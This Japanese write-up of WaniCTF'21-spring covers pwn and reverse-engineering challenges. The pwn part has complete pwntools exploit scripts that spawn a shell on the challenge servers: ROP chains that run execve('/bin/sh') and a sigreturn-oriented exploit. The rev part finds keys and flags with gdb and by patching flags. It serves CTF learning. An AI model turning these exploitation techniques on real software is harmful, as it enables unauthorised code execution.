WaniCTF'21-spring writeup
はじめに
pwnとrev,半分ぐらい解けました. writeup,書いていきます.
pwn
01 netcat
- netcat (nc)と呼ばれるコマンドを使うだけです。
- つないだら何も出力されなくても知っているコマンドを打ってみましょう。
ncでつなぐだけ
02 free hook
- free_hookの仕組みを理解する必要があります。
free関数が呼び出される時,__free_hookが指す関数が実行されます.
49行目で__free_hookにsystemが設定されているので,freeに"/bin/sh"を指定して実行すれば,シェルが取れます.
❯ ./pwn02 1: add memo 2: view memo 9: del memo command?: 1 index?[0-9]: 0 memo?: /bin/sh [[[list memos]]] ***** 0 ***** /bin/sh 1: add memo 2: view memo 9: del memo command?: 9 index?[0-9]: 0 $ ls pwn02 pwn02.c
03 rop machine easy
system関数が呼び出せる&"/bin/sh"の場所が分かっている状態
x64では,第一引数をrdiにセットします
rop chainを以下のように構築すると,system("/bin/sh")を実行され,シェルが取れます
rop_arena +--------------------+ | pop rdi; ret |<- rop start +--------------------+ | 0x404070 | +--------------------+ | system | +--------------------+
04 rop machine normal
03の,execve("/bin/sh", 0, 0)を実行させる版
raxにシステムコール番号(今回は0x3b),rdi,rsi,rdxに引数を設定します
rop chainを次のように構築すると,シェルが取れます
+--------------------+ | pop rax; ret |<- rop start +--------------------+ | 0x00003b | +--------------------+ | pop rdi; ret | +--------------------+ | 0x404070 | +--------------------+ | pop rsi; ret | +--------------------+ | 0x0 | +--------------------+ | pop rdx; ret | +--------------------+ | 0x0 | +--------------------+ | syscall; ret | +--------------------+
05 rop machine hard
- ROPgadgetコマンドの使い方を覚えましょう。
- rop machineの使い方->wani-hackase/rop-machine
04とほぼ同じですが,用意されたガジェットをスタックに積むコマンドが用意されていないので,ガジェットのアドレスを調べる必要があります.
今回,rp++を使用して,ガジェットを探しました.
pop rsiだけのガジェットがなかったので,代わりに,pop rsi pop r15を使用します.
from pwn import * binary = "./pwn05" context.binary = binary DEBUG = True GDB = False if DEBUG: context.log_level = "debug" REMOTE = True elif REMOTE: io = remote("rop-normal.pwn.wanictf.org", port = 9005) else: io = process(binary) if GDB: gdb.attach(io) def send_hex_value(value: str): io.recvuntil("> ") io.sendline("1") io.recvuntil("hex value?: ") io.sendline(value) e = ELF(binary) r = ROP(e) syscall = "4012ae" pop_rax = "4012a9" pop_rdi = "40128f" pop_rdx = "40129c" pop_rsi_pop_r15 = "401611" exec_no = "3b" send_hex_value(pop_rax) send_hex_value(exec_no) send_hex_value(pop_rdi) send_hex_value("404078") send_hex_value(pop_rsi_pop_r15) send_hex_value("0") send_hex_value("0") send_hex_value(pop_rdx) send_hex_value("0") send_hex_value(syscall) io.recvuntil("> ") io.sendline("0") #execute rop io.interactive()
06 SuperROP
- sigreturnを用いたROPでシェルを実行してください。
- sigreturnを使うとスタックの値でレジスタを書き換えることができます。
問題文にある通り,sigreturnを使用してexecve("/bin/sh", 0, 0)を実行させます. sigreturnは,スタックを一掃してripにジャンプするシステムコール(システムコール番号15)です.
スタックを一掃するときに,スタックの値をレジスタにセットするので,syscallガジェットがある時,任意のシステムコールが呼び出せます. csレジスタ(コードセグメントレジスタ)は,x64の場合,0x33に設定しておく必要があるそうです x64でSigreturn Oriented ProgrammingによるASLR+DEP+RELRO回避をやってみる - ももいろテクノロジー
bufのアドレスが分かっているので,先頭に"/bin/sh"を置いておき,アドレスを引数に指定します.
from pwn import * binary = "./pwn06" context.binary = binary DEBUG = True if DEBUG: context.log_level = "debug" REMOTE = False if REMOTE: io = remote("srop.pwn.wanictf.org", port = 9006) else: io = process(binary) GDB = False if GDB: gdb.attach(io) e = ELF(binary) r = ROP(e) offset = 72 syscall_ret = 0x0040117e set_rax = 0x0040118c io.recvuntil("buff : ") addr = int(io.recv(14), 16) log.info("addr = 0x%x" % addr) r.raw("/bin/sh\x00") r.raw("A" * (offset - 8)) r.raw(r.find_gadget(["ret"])) r.raw(set_rax) r.raw(syscall_ret) r.raw(0) #uc_flags r.raw(0) #&uc_link r.raw(0) #ss_sp r.raw(0) #ss_flags r.raw(0) #ss_size r.raw(0) #r8 r.raw(0) #r9 r.raw(0) #r10 r.raw(0) #r11 r.raw(0) #r12 r.raw(0) #r13 r.raw(0) #r14 r.raw(0) #r15 r.raw(addr) #rdi (arg1) r.raw(0) #rsi r.raw(0) #rbp r.raw(0) #rbx r.raw(0) #rdx r.raw(0x3b) #rax r.raw(0) #rcx r.raw(0) #rsp r.raw(syscall_ret) #rip r.raw(0) #eflags r.raw(0x33) #cs/gs/fs r.raw(0) r.raw(0) r.raw(0) r.raw(0) r.raw(0) r.raw(0) r.raw(0) r.raw(0) r.raw(0) r.raw(0) log.info(r.dump()) pay = r.chain() io.recv() io.sendline(pay) io.interactive()
pwntoolsには,sigreturnの機能もあるみたいなので,今後使ってみます
rev
secret
この問題では Linux の ELF 実行ファイル(バイナリ)である「secret」が配布されています。
このバイナリを実行すると secret key を入力するように表示されます。
試しに「abcde」と入力してみると「Incorrect」と言われました。
$ file secret secret: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1daf4ab43cfa357911806c3ccae34a1b6e027913, for GNU/Linux 3.2.0, not stripped
$ sudo chmod +x secret
$ ./secret ... Input secret key : abcde Incorrect
$ ./secret ... Input secret key : ?????? Correct! Flag is ??????
このバイナリが正しいと判断する secret key を見つけて読み込んでみましょう!
(secret key とフラグは別の文字列です)
(このファイルを実行するためには Linux 環境が必要となりますので WSL や VirtualBox で用意してください)
ヒント :「表層解析」や「静的解析」を行うことで secret key が見つかるかも...?
表層解析ツール strings
静的解析ツール Ghidra
入力された文字列とsecret keyを比較し,一致した場合にフラグが表示されます. gdbでstrcmpに与えられる引数の中身を見れます.
gdb-peda$ pdisass main ... 0x0000000000001445 <+517>: lea rsi,[rip+0xe94] # 0x22e0 0x000000000000144c <+524>: mov rdi,rax 0x000000000000144f <+527>: call 0x1090 <strncmp@plt> ... gdb-peda$ x/s 0x22e0 0x22e0: "wani_is_the_coolest_animals_in_the_world!"
execute
コマンドを間違えて、ソースコードも消しちゃった!
今残っているファイルだけで実行して頂けますか?
(reverse engineeringすれば、実行しなくても中身は分かるみたいです。)
main.sのソースコードとlibprint.soのシンボル・print関数の中身を調べました. mainからlibprint.soにあるprint関数を用いてフラグを表示させていたようです. main.sをlibprint.soとリンクさせてコンパイルさせると,a.outができたので,stringするとフラグが見れました.
timer
フラグが出てくるまで待てますか?
super_complex_flag_print_function 関数でフラグを表示しているようですが、難読化されているため静的解析でフラグを特定するのは難しそうです...
GDBを使って動的解析してみるのはいかがでしょうか?
sleepした後のjl命令にブレイクポイントを打ち,SFを書き換える(set $eflags = 0)ことでtimerのループから抜けられます.
おわりに
最近勉強した__free_hookの問題が解けたので良かったです. revは,(もっとキレイな)解き方がいろいろありそうですね.